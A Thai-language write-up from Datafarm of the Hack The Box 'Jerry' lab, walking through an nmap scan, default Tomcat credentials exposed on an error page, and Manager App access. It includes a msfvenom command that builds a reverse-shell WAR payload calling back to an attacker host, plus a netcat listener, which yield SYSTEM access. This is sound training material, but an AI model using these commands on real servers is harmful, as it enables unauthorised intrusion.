[Write Up] HackTheBox — Jerry

Datafarm
4 min readSep 22, 2021

สวัสดีครับวันนี้กลับมาพบกับ Lab ที่ทางแอดนำมาแนะนำในส่วนของ Hack The Box : The S3ries เย้ๆ โดยวันนี้แอดจะนำ Lab อะไรที่สนุกๆ น่าลองเล่นมาแนะนำกันบ้าง ไปดูกันเลย!

Lab ที่แอดจะนำมาแนะนำคือ Hack The Box : Jerry นั่นเอง! โดย Lab นี้จะเป็น Lab ที่มี OS เป็น Windows ผู้ที่ลองเล่นจะต้องมีทักษะในการใช้ Windows Command เบื้องต้นมาก่อนครับ ถ้าพร้อมแล้วเราก็ไปลุยกันโลดด!

Reconnaissance

โดยเราจะมาเริ่มต้นจากการ Reconnaissance กันก่อนนะครับเพื่อหาข้อมูลในการโจมตี machine นี้ เช่นการตรวจสอบ Port ต่าง ๆ ที่เปิดใช้งาน และมีการใช้งาน Service อะไรบ้างที่สามารถนำมาเป็นข้อมูลในการโจมตีต่อไปได้ โดยที่เราจะใช้ Tool ที่มีชื่อว่า Nmap ในการทำ Port Scanning กันก่อนโดยใช้คำสั่งตามนี้เลยครับ

nmap -sS -sC -sV 10.10.10.95

-sS คือ การใช้เทคนิคการสแกนแบบ TCP SYN Scan

-sC คือ User Default Script

-sV คือ การ Enumerate Version และ Service

เมื่อเราทำ Port Scanning เสร็จแล้วจะพบว่ามีการเปิดพอร์ตทั้งหมด 1 พอร์ตคือ 8080 โดยจะใช้ Service เป็น Apache Tomcat/Coyote JSP engine 1.1

Exploit

จากนั้นเรามาลองเข้าไปที่เบราว์เซอร์โดยจะเข้าไปที่พอร์ต 8080 นะครับ http://10.10.10.95:8080 เมื่อเราเข้ามาถึงแล้วจะพบว่าเป็นหน้าหลักของ Apache Tomcat เวอร์ชัน 7.0.88 ที่จะมีรูปแมวน้อยหน้าตาแปลกๆ อยู่

จากนั้นแอดได้ลองทำการเข้าไปที่ Host Manager เพื่อดูว่าแต่ละพาธมีการใช้งานอะไรบ้างที่น่าสนใจ

เมื่อทำการกดเข้าไปพบว่าจะมีส่วนของการเข้าสู่ระบบเด้งขึ้นมาให้เรากรอกรหัสผู้ใช้งานกับรหัสผ่าน

แอดได้ลองกด cancel เพื่อไม่กรอกข้อมูล จากนั้นเว็บจะนำเราไปที่หน้าเว็บแสดงความผิดพลาดเมื่อเราไม่กรอกข้อมูล แอดพบว่ามีการแสดงข้อความของระบบที่มีความสำคัญออกมา โดยมีข้อความว่ามีการแอด rolename ชื่อ admin-gui ที่มีชื่อผู้ใช้งานเป็น tomcat กับรหัสผ่าน s3cret

แอดได้ลองทำการเข้าสู่ระบบโดยใช้ tomcat:s3cret ตามที่ได้มา ปรากฎว่าสามารถเข้าสู่ระบบได้แต่ไม่มีสิทธิ์เข้าถึงหน้านี้

จากนั้นแอดได้ลองเข้าไปที่ Manager App เพื่อเข้าไปลองหาข้อมูลที่สำคัญว่ามีอะไรที่สามารถใช้ในการโจมตีระบบนี้ได้

โดยจะใช้ tomcat:s3cret ที่ได้มาก่อนนั้นเข้าสู่ระบบ

ปรากฏว่าเราสามารถเข้าถึงหน้านี้ได้ เมื่อเข้ามาแล้วจะพบกับหน้า Tomcat Web Application Manager ที่มีการแสดงข้อมูล config ต่าง ๆ กับพาธนะครับ

แอดได้ลองเลื่อนดูจะพบกับข้อมูลพาธต่าง ๆ ที่มีอยู่ในระบบ

เมื่อเลื่อนมาด้านล่างจะพบกับ Server Information ต่าง ๆ ที่มีการแสดงชื่อ Tomcat Version กับ OS Name และข้อมูลต่าง ๆ แต่ที่สำคัญนั่นคือ WAR file to deploy นั่นเอง ที่เรานั้นสามารถ Deploy ไฟล์ที่มีนามสกุล .WAR (Web Application Resource or Web Application Archive) ลงไปได้

ดังนั้นเรามาสร้างไฟล์ payload กันที่มีชื่อว่า webshell.war โดยจะใช้ Tool ที่มีชื่อว่า msfvenom ในการสร้าง payload โดยจะใส่คำสั่งดังนี้ “msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.39 LPORT=3390 -f war > webshell.war”

จากนั้นนำ payload ที่เราสร้างมาทำการอัปโหลดลงบนเว็บเพื่อนำมาใช้ในการโจมตีกัน

เมื่อทำการ Deploy แล้วเราจะพบกับพาธที่สร้างใหม่ขึ้นมาชื่อว่า “/webshell” นั่นเอง

ก่อนกดไปที่พาธที่เรา deploy ลงไปนั้น เราต้องมีการทำ Port Listening ก่อน โดยแอดจะใช้เครื่องมือที่มีชื่อว่า Netcat ในการใช้งานโดยใช้คำสั่งดังนี้ “nc -nlvp 3390” เพื่อทำการดักฟังการตอบสนองของ payload ที่เรา deploy ลงไป

เมื่อเราทำการกดที่พาธแล้วจะพบกับการตอบสนองกลับมาที่ terminal ที่เราทำการ Port Listening ไว้ นั้นแปลว่า payload ที่เรา deploy ลงไปนั้นสามารถนำไปใช้งานได้ เย้! เมื่อทำการใช้คำสั่ง whoami ลงไปจะพบว่าเราได้สิทธิ์ของ “nt authority\system” กลับมา

แอดได้ลองทำการเช็คพาธที่เราอยู่ขณะนี้โดยใช้คำสั่ง cd จะพบว่าตอนนี้เราอยู่ที่พาธ “C:\apache-tomcat-7.0.88”

จากนั้นแอดได้ทำการใช้คำสั่ง dir เพื่อทำการ List Directory ดูว่าพาธที่เราอยู่นั้นมีไฟล์อะไรบ้าง โดยคำสั่งนี้จะคล้ายกับคำสั่ง ls บนระบบ Linux นั่นเอง

จากนั้นแอดไปที่ “C://” เพื่อทำการหา Flag โดยจะพบกับ Users นั่นคือ Folder ที่เก็บชื่อ User ไว้

เมื่อเข้าไปที่ Users จะพบกับโฟลเดอร์ Administrator กับ Public อยู่ แอดได้ลองเข้าไปที่ Administrator

ปรากฏว่าสามารถเข้าได้! นั่นแสดงว่าสิทธิ์ที่เราได้มานั้นเป็นสิทธิ์ Administrator (root) ที่มีสิทธิ์สูงสุดนั่นเอง จากนั้นแอดได้ลองเข้าไปที่ Desktop เพื่อดูว่ามีไฟล์อะไรน่าสนใจบ้าง

เมื่อเข้าไปถึงจะเจอโฟลเดอร์ที่มีชื่อว่า flags อยู่ (ว้าว)

แอดได้เข้าไปที่ flags จะพบว่ามีไฟล์ที่ดูน่าสนใจอยู่ไฟล์หนึ่งชื่อว่า “2 for the price of 1.txt”

เมื่อลองใช้คำสั่ง type ที่เป็นคำสั่งสำหรับการแสดง text ไฟล์ที่อยู่ในไฟล์ .text โดยจะเหมือนกับการใช้คำสั่ง cat บน Linux เมื่อใช้คำสั่ง type “2 for the price of 1.txt” แล้วเราจะพบกับ flags ของทั้ง user และ root เลยเย้!! แอดขอเพิ่มเติมเรื่องการเรียกใช้งานไฟล์ที่มีชื่อเว้นวรรค เนื่องจากเราไม่สามารถใช้คำสั่ง type 2 for price of 1.txt โดยตรงได้ต้องใส่ “(quote)” ครอบชื่อไฟล์ไว้

จากนั้นนำ flags ที่ได้มาใส่ให้เรียบร้อย เราก็จะได้ปลดล็อก USER OWNS กับ SYSTEM OWNS แล้ว!!

Conclusion

แอดมองว่า Box นี้เป็น Box ที่มีระดับยากขึ้นมานิดนึงแต่จะจัดอยู่ในระดับค่อนข้างง่ายนะครับ เนื่องจากเราอาจจะต้องมีทักษะในการค้นหาข้อมูลต่าง ๆ เช่น username:password ที่ระบบแสดงออกมาผ่านหน้า Error Page ที่เป็นช่องโหว่ของ File Misconfiguration ที่อยู่ในส่วนของ OWASP TOP 10 2017 หมวด A6 : Security Misconfiguration หรือทักษะในการใช้เครื่องมือในการสร้าง payload ขึ้นมาครับ เป็นอย่างไรกันบ้างครับสำหรับ Box ที่แอดนำมาแนะนำในวันนี้แอดมองว่า Hack The Box เป็น Lab ที่มีความท้าทายมากสำหรับผู้เล่นใหม่ แต่ว่ามีความสนุกอยู่ในตัวและช่วยเพิ่มทักษะได้เป็นอย่างดีเลยครับ บทความหน้าจะเป็นเนื้อหาเกี่ยวกับอะไรหรือ Lab ไหน ติดตามได้ในเพจ Datafarm ได้เลยคร้าบบ สำหรับวันนี้แอดก็ขอวัว ขอม้า เอ้ยขอลาไปก่อนบ๊ายบายครัชช

--

--

No responses yet